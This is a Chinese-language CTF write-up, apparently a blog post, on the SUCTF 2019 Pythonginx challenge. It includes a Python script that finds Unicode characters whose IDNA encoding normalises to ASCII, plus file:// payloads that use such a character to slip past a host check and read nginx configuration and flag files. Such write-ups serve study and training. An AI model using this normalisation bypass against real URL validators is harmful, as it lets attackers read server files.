[SUCTF 2019]Pythonginx

[SUCTF 2019]Pythonginx

1.进入环境后看到一个输入框和下面的源码,右键查看源码可以看到整齐的代码

 

 2.还给了nginx的提示,记录下nginx的一些配置文件信息

  1. 配置文件存放目录:/etc/nginx
  2. 主配置文件:/etc/nginx/conf/nginx.conf
  3. 管理脚本:/usr/lib64/systemd/system/nginx.service
  4. 模块:/usr/lisb64/nginx/modules
  5. 应用程序:/usr/sbin/nginx
  6. 程序默认存放位置:/usr/share/nginx/html
  7. 日志默认存放位置:/var/log/nginx
  8. 配置文件目录为:/usr/local/nginx/conf/nginx.conf

3.代码审计,三个if条件判断,但是都是判断host是否是等于suctf.cc,只不过前俩个的判断是等于就退出,第三个是等于才满足才会执行读取文件的操作

所以我们初始的传参一定不是suctf.cc,然后我们看到第二个if与第三个if之间有数据进行了一次编码,意思是将域名的各个部分进行idna编码后,再进行一次utf-8解码

所以应该是让编码后的域名等于suctf.cc即可

4.脚本

# coding:utf-8 
for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

去掉解码后存在-的,因为加入域名后会不符合要求

5.然后就在跑出的结果中寻找合适的

 

 根据提示结合nginx写个payload

file://suctf.cℭ/usr/local/nginx/conf/nginx.conf
 
6.直接框内传入得到下面flag的位置然后payload得到flag:file://suctf.cℭ/usr/fffffflag
 

 

 

 



posted @ 2022-06-29 10:06  L0VEhzzz  阅读(114)  评论(0编辑  收藏  举报